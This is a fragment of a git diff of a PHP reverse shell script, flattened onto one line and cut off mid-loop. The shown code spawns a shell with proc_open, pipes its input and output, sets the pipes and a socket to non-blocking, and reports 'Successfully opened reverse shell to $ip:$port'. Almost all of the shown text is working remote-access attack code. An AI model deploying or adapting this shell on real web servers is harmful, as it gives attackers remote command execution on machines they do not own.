diff --git a/php-reverse-shell.php b/php-reverse-shell.php index 2503b71..9689df4 100755 --- a/php-reverse-shell.php +++ b/php-reverse-shell.php @@ -1,133 +1,54 @@ array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); - $process = proc_open($shell, $descriptorspec, $pipes); - if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } - -// Set everything to non-blocking -// Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); - printit("Successfully opened reverse shell to $ip:$port"); - while (1) { - // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break;